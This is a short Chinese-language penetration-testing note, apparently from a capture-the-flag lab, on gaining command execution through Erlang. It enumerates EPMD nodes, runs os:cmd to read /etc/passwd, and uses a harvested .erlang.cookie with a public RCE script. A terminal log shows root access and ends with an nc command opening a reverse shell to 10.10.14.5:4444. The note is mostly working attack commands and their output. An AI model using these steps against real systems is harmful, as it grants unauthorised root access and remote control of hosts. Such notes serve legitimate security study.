Erlang
1. 介绍
Erlang 是一种编程语言,主要用于构建高并发、分布式系统
- 端口4369 Erlang Port Mapper Daemon (EPMD)
#枚举 EPMD 上注册的节点名
epmd -port 4369 -names
2. erlang执行命令
os:cmd("cat /etc/passwd").
3. 用.erlang.cookie 执行命令
.erlang.cookie通常在用户的目录下面
可以通过下面的脚本使用cookie执行命令
https://github.com/sadshade/erlang-otp-rce
首先需要修改脚本的 COOKIE参数
network_admin@core01:~$ cat erlang-otp-rce.py |grep COOKIE
cat erlang-otp-rce.py |grep COOKIE
COOKIE = "MLTSUUNJKJYAXRTQYKLA" # Default Erlang cookie for CouchDBCHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
network_admin@core01:~$ python3 erlang-otp-rce.py
python3 erlang-otp-rce.py
Remote Command Execution via Erlang Distribution Protocol.
Enter target host:
> 127.0.0.1
More than one node found, choose which one to use:
1) name network_node1 at port 41725
2) name network_node2 at port 36449
3) name network_node3 at port 42141
> 1
Authentication successful
Enter command:
> whoami
root
> id
uid=0(root) gid=0(root) groups=0(root)
> nc -e /bin/bash 10.10.14.5 4444